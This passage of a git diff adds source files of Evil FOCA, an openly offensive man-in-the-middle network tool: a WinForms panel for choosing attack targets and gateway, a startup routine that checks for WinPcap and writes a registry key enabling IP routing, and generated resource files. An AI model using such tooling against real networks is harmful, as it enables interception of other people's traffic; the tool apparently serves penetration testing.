an IPv4 in this attack", 1000, FormMessage.IconType.Error); + else + { + listBoxTargets.Items.Add(ip); + } + } + } + else if (typeList == PanelTargets.TypeList.Ipv4) + { + if (e.Data.GetDataPresent("System.Net.IPAddress", false)) + { + IPAddress ip = (IPAddress)e.Data.GetData("System.Net.IPAddress", false); + + if (ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6) + FormMain.ShowMessage("You can't use an IPv6 in this attack", 1000, FormMessage.IconType.Error); + else + { + listBoxTargets.Items.Add(ip); + } + } + } + } + + private void listBoxTargets_DragEnter(object sender, DragEventArgs e) + { + e.Effect = DragDropEffects.Move; + } + + public List GetTargetsList() + { + List lstIps = new List(); + + for (int i = 0; i < listBoxTargets.Items.Count; i++) + lstIps.Add(listBoxTargets.Items[i] as IPAddress); + return lstIps; + } + + public void ClearTargets() + { + listBoxTargets.Items.Clear(); + } + } +} diff --git a/EvilFoca/PanelTarget.resx b/EvilFoca/PanelTarget.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/EvilFoca/PanelTarget.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/EvilFoca/PanelTargets.Designer.cs b/EvilFoca/PanelTargets.Designer.cs new file mode 100644 index 0000000..4a58a17 --- /dev/null +++ b/EvilFoca/PanelTargets.Designer.cs @@ -0,0 +1,272 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca +{ + partial class PanelTargets + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.splitContainerAttacksNeigborAdvSpoof = new System.Windows.Forms.SplitContainer(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.imgClearGateway = new System.Windows.Forms.PictureBox(); + this.imgAddGateway = new System.Windows.Forms.PictureBox(); + this.label2 = new System.Windows.Forms.Label(); + this.listBoxGateway = new System.Windows.Forms.ListBox(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.imgClearTargets = new System.Windows.Forms.PictureBox(); + this.label1 = new System.Windows.Forms.Label(); + this.imgAddTargets = new System.Windows.Forms.PictureBox(); + this.listBoxTargets = new System.Windows.Forms.ListBox(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainerAttacksNeigborAdvSpoof)).BeginInit(); + this.splitContainerAttacksNeigborAdvSpoof.Panel1.SuspendLayout(); + this.splitContainerAttacksNeigborAdvSpoof.Panel2.SuspendLayout(); + this.splitContainerAttacksNeigborAdvSpoof.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.imgClearGateway)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.imgAddGateway)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.imgClearTargets)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.imgAddTargets)).BeginInit(); + this.SuspendLayout(); + // + // splitContainerAttacksNeigborAdvSpoof + // + this.splitContainerAttacksNeigborAdvSpoof.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.splitContainerAttacksNeigborAdvSpoof.Location = new System.Drawing.Point(3, 3); + this.splitContainerAttacksNeigborAdvSpoof.Name = "splitContainerAttacksNeigborAdvSpoof"; + // + // splitContainerAttacksNeigborAdvSpoof.Panel1 + // + this.splitContainerAttacksNeigborAdvSpoof.Panel1.Controls.Add(this.splitContainer1); + // + // splitContainerAttacksNeigborAdvSpoof.Panel2 + // + this.splitContainerAttacksNeigborAdvSpoof.Panel2.Controls.Add(this.splitContainer2); + this.splitContainerAttacksNeigborAdvSpoof.Size = new System.Drawing.Size(606, 158); + this.splitContainerAttacksNeigborAdvSpoof.SplitterDistance = 296; + this.splitContainerAttacksNeigborAdvSpoof.TabIndex = 4; + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.imgClearGateway); + this.splitContainer1.Panel1.Controls.Add(this.imgAddGateway); + this.splitContainer1.Panel1.Controls.Add(this.label2); + this.splitContainer1.Panel1MinSize = 18; + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.listBoxGateway); + this.splitContainer1.Size = new System.Drawing.Size(296, 158); + this.splitContainer1.SplitterDistance = 25; + this.splitContainer1.TabIndex = 0; + // + // imgClearGateway + // + this.imgClearGateway.Dock = System.Windows.Forms.DockStyle.Right; + this.imgClearGateway.Image = global::evilfoca.Properties.Resources.Cancel; + this.imgClearGateway.Location = new System.Drawing.Point(260, 0); + this.imgClearGateway.Name = "imgClearGateway"; + this.imgClearGateway.Size = new System.Drawing.Size(18, 25); + this.imgClearGateway.TabIndex = 10; + this.imgClearGateway.TabStop = false; + this.imgClearGateway.Click += new System.EventHandler(this.imgClearGateway_Click); + // + // imgAddGateway + // + this.imgAddGateway.Dock = System.Windows.Forms.DockStyle.Right; + this.imgAddGateway.Image = global::evilfoca.Properties.Resources.Add; + this.imgAddGateway.Location = new System.Drawing.Point(278, 0); + this.imgAddGateway.Name = "imgAddGateway"; + this.imgAddGateway.Size = new System.Drawing.Size(18, 25); + this.imgAddGateway.TabIndex = 9; + this.imgAddGateway.TabStop = false; + this.imgAddGateway.Click += new System.EventHandler(this.imgAddGateway_Click); + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Dock = System.Windows.Forms.DockStyle.Left; + this.label2.Location = new System.Drawing.Point(0, 0); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(49, 13); + this.label2.TabIndex = 7; + this.label2.Text = "Gateway"; + // + // listBoxGateway + // + this.listBoxGateway.AllowDrop = true; + this.listBoxGateway.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.listBoxGateway.Dock = System.Windows.Forms.DockStyle.Fill; + this.listBoxGateway.FormattingEnabled = true; + this.listBoxGateway.Location = new System.Drawing.Point(0, 0); + this.listBoxGateway.Name = "listBoxGateway"; + this.listBoxGateway.Size = new System.Drawing.Size(296, 129); + this.listBoxGateway.TabIndex = 8; + this.listBoxGateway.DragDrop += new System.Windows.Forms.DragEventHandler(this.listBoxGateway_DragDrop); + this.listBoxGateway.DragEnter += new System.Windows.Forms.DragEventHandler(this.listBoxGateway_DragEnter); + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.imgClearTargets); + this.splitContainer2.Panel1.Controls.Add(this.label1); + this.splitContainer2.Panel1.Controls.Add(this.imgAddTargets); + this.splitContainer2.Panel1MinSize = 18; + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.listBoxTargets); + this.splitContainer2.Size = new System.Drawing.Size(306, 158); + this.splitContainer2.SplitterDistance = 25; + this.splitContainer2.TabIndex = 0; + // + // imgClearTargets + // + this.imgClearTargets.Dock = System.Windows.Forms.DockStyle.Right; + this.imgClearTargets.Image = global::evilfoca.Properties.Resources.Cancel; + this.imgClearTargets.Location = new System.Drawing.Point(270, 0); + this.imgClearTargets.Name = "imgClearTargets"; + this.imgClearTargets.Size = new System.Drawing.Size(18, 25); + this.imgClearTargets.TabIndex = 11; + this.imgClearTargets.TabStop = false; + this.imgClearTargets.Click += new System.EventHandler(this.imgClearTargets_Click); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Dock = System.Windows.Forms.DockStyle.Left; + this.label1.Location = new System.Drawing.Point(0, 0); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(43, 13); + this.label1.TabIndex = 5; + this.label1.Text = "Targets"; + // + // imgAddTargets + // + this.imgAddTargets.Dock = System.Windows.Forms.DockStyle.Right; + this.imgAddTargets.Image = global::evilfoca.Properties.Resources.Add; + this.imgAddTargets.Location = new System.Drawing.Point(288, 0); + this.imgAddTargets.Name = "imgAddTargets"; + this.imgAddTargets.Size = new System.Drawing.Size(18, 25); + this.imgAddTargets.TabIndex = 10; + this.imgAddTargets.TabStop = false; + this.imgAddTargets.Click += new System.EventHandler(this.imgAddTargets_Click); + // + // listBoxTargets + // + this.listBoxTargets.AllowDrop = true; + this.listBoxTargets.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.listBoxTargets.Dock = System.Windows.Forms.DockStyle.Fill; + this.listBoxTargets.FormattingEnabled = true; + this.listBoxTargets.Location = new System.Drawing.Point(0, 0); + this.listBoxTargets.Name = "listBoxTargets"; + this.listBoxTargets.Size = new System.Drawing.Size(306, 129); + this.listBoxTargets.TabIndex = 4; + this.listBoxTargets.DragDrop += new System.Windows.Forms.DragEventHandler(this.listBoxTargets_DragDrop); + this.listBoxTargets.DragEnter += new System.Windows.Forms.DragEventHandler(this.listBoxTargets_DragEnter); + this.listBoxTargets.Enter += new System.EventHandler(this.listBoxTargets_Enter); + // + // PanelTargets + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.splitContainerAttacksNeigborAdvSpoof); + this.Name = "PanelTargets"; + this.Size = new System.Drawing.Size(611, 164); + this.splitContainerAttacksNeigborAdvSpoof.Panel1.ResumeLayout(false); + this.splitContainerAttacksNeigborAdvSpoof.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainerAttacksNeigborAdvSpoof)).EndInit(); + this.splitContainerAttacksNeigborAdvSpoof.ResumeLayout(false); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel1.PerformLayout(); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.imgClearGateway)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.imgAddGateway)).EndInit(); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel1.PerformLayout(); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.imgClearTargets)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.imgAddTargets)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainerAttacksNeigborAdvSpoof; + private System.Windows.Forms.PictureBox imgAddGateway; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.ListBox listBoxGateway; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.ListBox listBoxTargets; + private System.Windows.Forms.PictureBox imgAddTargets; + private System.Windows.Forms.SplitContainer splitContainer1; + private System.Windows.Forms.SplitContainer splitContainer2; + private System.Windows.Forms.PictureBox imgClearGateway; + private System.Windows.Forms.PictureBox imgClearTargets; + } +} diff --git a/EvilFoca/PanelTargets.cs b/EvilFoca/PanelTargets.cs new file mode 100644 index 0000000..008eea6 --- /dev/null +++ b/EvilFoca/PanelTargets.cs @@ -0,0 +1,222 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Windows.Forms; +using System.Net; + +namespace evilfoca +{ + public partial class PanelTargets : UserControl + { + public enum TypeList + { + Ipv4 = 0, + Ipv6 = 1 + } + + public TypeList typeList = TypeList.Ipv6; + + public PanelTargets() + { + InitializeComponent(); + } + + private void listBoxGateway_DragDrop(object sender, DragEventArgs e) + { + if (typeList == TypeList.Ipv6) + { + if (e.Data.GetDataPresent("System.Net.IPAddress", false)) + { + IPAddress ip = (IPAddress)e.Data.GetData("System.Net.IPAddress", false); + + if (ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork) + FormMain.ShowMessage("You can't use an IPv4 in this attack", 1000, FormMessage.IconType.Error); + else if (listBoxTargets.Items.Contains(ip)) + FormMain.ShowMessage("You can't use a same IP Address in both sides of a MITM attack", 1000, FormMessage.IconType.Error); + else + { + listBoxGateway.Items.Clear(); + listBoxGateway.Items.Add(ip); + } + } + } + else if (typeList == TypeList.Ipv4) + { + if (e.Data.GetDataPresent("System.Net.IPAddress", false)) + { + IPAddress ip = (IPAddress)e.Data.GetData("System.Net.IPAddress", false); + + if (ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6) + FormMain.ShowMessage("You can't use an IPv6 in this attack", 1000, FormMessage.IconType.Error); + else if (listBoxTargets.Items.Contains(ip)) + FormMain.ShowMessage("You can't use a same IP Address in both sides of a MITM attack", 1000, FormMessage.IconType.Error); + else + { + listBoxGateway.Items.Clear(); + listBoxGateway.Items.Add(ip); + } + } + } + } + + private void listBoxGateway_DragEnter(object sender, DragEventArgs e) + { + e.Effect = DragDropEffects.Move; + } + + private void listBoxTargets_Enter(object sender, EventArgs e) + { + + } + + private void listBoxTargets_DragEnter(object sender, DragEventArgs e) + { + e.Effect = DragDropEffects.Move; + } + + private void listBoxTargets_DragDrop(object sender, DragEventArgs e) + { + if (typeList == TypeList.Ipv6) + { + if (e.Data.GetDataPresent("System.Net.IPAddress", false)) + { + IPAddress ip = (IPAddress)e.Data.GetData("System.Net.IPAddress", false); + + if (ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork) + FormMain.ShowMessage("You can't use an IPv4 in this attack", 1000, FormMessage.IconType.Error); + else if (listBoxGateway.Items.Contains(ip)) + FormMain.ShowMessage("You can't use a same IP Address in both sides of a MITM attack", 1000, FormMessage.IconType.Error); + else if (!listBoxTargets.Items.Contains(ip)) + listBoxTargets.Items.Add(ip); + } + } + else if (typeList == TypeList.Ipv4) + { + if (e.Data.GetDataPresent("System.Net.IPAddress", false)) + { + IPAddress ip = (IPAddress)e.Data.GetData("System.Net.IPAddress", false); + + if (ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6) + FormMain.ShowMessage("You can't use an IPv6 in this attack", 1000, FormMessage.IconType.Error); + else if (listBoxGateway.Items.Contains(ip)) + FormMain.ShowMessage("You can't use a same IP Address in both sides of a MITM attack", 1000, FormMessage.IconType.Error); + else + { + listBoxTargets.Items.Add(ip); + } + } + } + } + + public List GetGatewayList() + { + List lstIps = new List(); + + for (int i = 0; i < listBoxGateway.Items.Count; i++) + lstIps.Add(listBoxGateway.Items[i] as IPAddress); + return lstIps; + } + + public List GetTargetsList() + { + List lstIps = new List(); + + for (int i = 0; i < listBoxTargets.Items.Count; i++) + lstIps.Add(listBoxTargets.Items[i] as IPAddress); + return lstIps; + } + + public void ClearGateway() + { + listBoxGateway.Items.Clear(); + } + + public void ClearTargets() + { + listBoxTargets.Items.Clear(); + } + + private void imgAddGateway_Click(object sender, EventArgs e) + { + SynchronizedCollection ipsFiltered = new SynchronizedCollection(); + foreach (IPAddress ip in listBoxTargets.Items) + { + ipsFiltered.Add(ip); + } + + SynchronizedCollection ipsPrevFiltered = new SynchronizedCollection(); + foreach (IPAddress ip in listBoxGateway.Items) + { + ipsPrevFiltered.Add(ip); + } + + FormSelectIPs fSel = new FormSelectIPs(typeList, Data.Data.neighbors, false, ipsFiltered, ipsPrevFiltered); + fSel.ShowDialog(); + + SynchronizedCollection lstIps = fSel.GetSelectedIPs(); + + if (lstIps.Count > 0) + listBoxGateway.Items.Clear(); + + foreach (IPAddress ip in lstIps) + { + listBoxGateway.Items.Add(ip); + } + } + + private void imgAddTargets_Click(object sender, EventArgs e) + { + SynchronizedCollection ipsFiltered = new SynchronizedCollection(listBoxGateway.Items); + SynchronizedCollection ipsPrevFiltered = new SynchronizedCollection(listBoxTargets.Items); + + FormSelectIPs fSel = new FormSelectIPs(typeList, Data.Data.neighbors, true, ipsFiltered, ipsPrevFiltered); + fSel.ShowDialog(); + + SynchronizedCollection lstIps = fSel.GetSelectedIPs(); + + if (lstIps.Count > 0) + listBoxTargets.Items.Clear(); + + foreach (IPAddress ip in lstIps) + { + listBoxTargets.Items.Add(ip); + } + } + + private void imgClearTargets_Click(object sender, EventArgs e) + { + listBoxTargets.Items.Clear(); + } + + private void imgClearGateway_Click(object sender, EventArgs e) + { + listBoxGateway.Items.Clear(); + } + + private void deleteToolStripMenuItem_Click(object sender, EventArgs e) + { + ListBox lb = (ListBox)sender; + } + } +} diff --git a/EvilFoca/PanelTargets.resx b/EvilFoca/PanelTargets.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/EvilFoca/PanelTargets.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/EvilFoca/Program.cs b/EvilFoca/Program.cs new file mode 100644 index 0000000..70e0c50 --- /dev/null +++ b/EvilFoca/Program.cs @@ -0,0 +1,166 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Reflection; +using System.Windows.Forms; +using Microsoft.Win32; +using SharpPcap; +using SharpPcap.WinPcap; + +namespace evilfoca +{ + static class Program + { + public static Project.Project CurrentProject; + public static FormMain formMain; + public static FormSplash fSplash; + + public static bool runtime = false; + + /// + /// The main entry point for the application. + /// + [STAThread] + static void Main() + { + runtime = true; + CurrentProject = new Project.Project(); + if (CheckArgsToElevate()) + return; + + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + + System.Threading.Thread tSplash = new System.Threading.Thread(new System.Threading.ThreadStart(delegate + { + fSplash = new FormSplash(); + Application.Run(fSplash); + })); + tSplash.Start(); + + if (!(IsWinPcapIsInstalled())) + { + tSplash.Abort(); + MessageBox.Show("WinPcap library not found or no compatible device found. This is a mandatory requirement.\r\n\r\n\r\nPlease, download and install it from http://www.winpcap.org/.", "", MessageBoxButtons.OK, MessageBoxIcon.Warning); + Application.Exit(); + return; + } + + int defaultInterface = Program.CurrentProject.data.settings.Interface; + //La primera vez se muestra, el resto no + + WinPcapDevice dev = null; + if (defaultInterface > -1 && defaultInterface < CaptureDeviceList.Instance.Count) + { + dev = (WinPcapDevice)CaptureDeviceList.Instance[defaultInterface]; + } + + while (dev == null || Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(dev) == null) + { + if (dev != null) + MessageBox.Show("IP Address Local-Link hasn't been found. Please, turn on IPv6 on your network interface and restart the application or select other interface", "IP Address Local-Link hasn't been found", + MessageBoxButtons.OK, MessageBoxIcon.Error); + FormInterfaces fInterfaces = new FormInterfaces(true, true); + if (fInterfaces.ShowDialog() != System.Windows.Forms.DialogResult.OK) + { + tSplash.Abort(); + Application.Exit(); + return; + } + + dev = fInterfaces.device; + } + Program.CurrentProject.data.SetDevice(dev); + + Program.UriDotBug(); + + formMain = new FormMain(); + + Application.Run(formMain); + } + + private static bool IsWinPcapIsInstalled() + { + try + { + int cuenta = CaptureDeviceList.Instance.Count; + } + catch (DllNotFoundException) + { + return false; // Pcap no instalada + } + catch + { + return false; // Ppcap instalada, pero se ha producido algun error. Posiblemente versiones antiguas. + } + + return true; + } + + public static void LogThis(string message, Logs.Log.LogType logType) + { + Logs.Log log = new Logs.Log(message, logType); + + formMain.panelLogs.Invoke(new MethodInvoker(delegate + { + formMain.panelLogs.AddLog(log); + })); + } + + public static bool CheckArgsToElevate() + { + if (Environment.GetCommandLineArgs().Length == 2 && Environment.GetCommandLineArgs()[1] == "ActivateIPRouting") + { + System.Diagnostics.Debugger.Break(); + ActivateIPRouting(); + //Guardar en la configuracion + CurrentProject.data.settings.IPRoutingEnabled = true; + MessageBox.Show("IP Enable Routing activado"); + return true; + } + return false; + } + + public static void ActivateIPRouting() + { + RegistryKey rk = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\services\TcpIp\Parameters", true); + rk.SetValue("IPEnableRouter", 1, RegistryValueKind.DWord); + } + + + private static void UriDotBug() + { + MethodInfo getSyntax = typeof(UriParser).GetMethod("GetSyntax", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic); + FieldInfo flagsField = typeof(UriParser).GetField("m_Flags", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic); + if (getSyntax != null && flagsField != null) + { + foreach (string scheme in new[] { "http", "https" }) + { + UriParser parser = (UriParser)getSyntax.Invoke(null, new object[] { scheme }); + if (parser != null) + { + int flagsValue = (int)flagsField.GetValue(parser); + // Clear the CanonicalizeAsFilePath attribute + if ((flagsValue & 0x1000000) != 0) + flagsField.SetValue(parser, flagsValue & ~0x1000000); + } + } + } + } + } +} diff --git a/EvilFoca/Project/Project.cs b/EvilFoca/Project/Project.cs new file mode 100644 index 0000000..9246f10 --- /dev/null +++ b/EvilFoca/Project/Project.cs @@ -0,0 +1,35 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using evilfoca.Core; + +namespace evilfoca.Project +{ + public class Project + { + public Data.Data data; + + public Project() + { + data = new Data.Data(); + } + } +} diff --git a/EvilFoca/Properties/AssemblyInfo.cs b/EvilFoca/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..0a661da --- /dev/null +++ b/EvilFoca/Properties/AssemblyInfo.cs @@ -0,0 +1,37 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + + +[assembly: AssemblyTitle("Evil FOCA")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("Telefonica Digital Identity and Privacy, SLU.")] +[assembly: AssemblyProduct("Evil FOCA")] +[assembly: AssemblyCopyright("Copyright (c) 2015 Eleven Paths, released under the GNU Public License 3.0")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +[assembly: ComVisible(false)] + +[assembly: Guid("f26bdb4a-5846-4bec-8f52-3c39d32df495")] + +[assembly: AssemblyVersion("0.1.4.0")] +[assembly: AssemblyFileVersion("0.1.4.0")] diff --git a/EvilFoca/Properties/Resources.Designer.cs b/EvilFoca/Properties/Resources.Designer.cs new file mode 100644 index 0000000..1d6a7c0 --- /dev/null +++ b/EvilFoca/Properties/Resources.Designer.cs @@ -0,0 +1,270 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.34209 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace evilfoca.Properties { + using System; + + + /// + /// A strongly-typed resource class, for looking up localized strings, etc. + /// + // This class was auto-generated by the StronglyTypedResourceBuilder + // class via a tool like ResGen or Visual Studio. + // To add or remove a member, edit your .ResX file then rerun ResGen + // with the /str option, or rebuild your VS project. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// Returns the cached ResourceManager instance used by this class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("evilfoca.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// Overrides the current thread's CurrentUICulture property for all + /// resource lookups using this strongly typed resource class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap Add { + get { + object obj = ResourceManager.GetObject("Add", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap AddNeighbor { + get { + object obj = ResourceManager.GetObject("AddNeighbor", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap AddNeighborSmall { + get { + object obj = ResourceManager.GetObject("AddNeighborSmall", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap Application { + get { + object obj = ResourceManager.GetObject("Application", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap Cancel { + get { + object obj = ResourceManager.GetObject("Cancel", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap Configuration { + get { + object obj = ResourceManager.GetObject("Configuration", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap Copy { + get { + object obj = 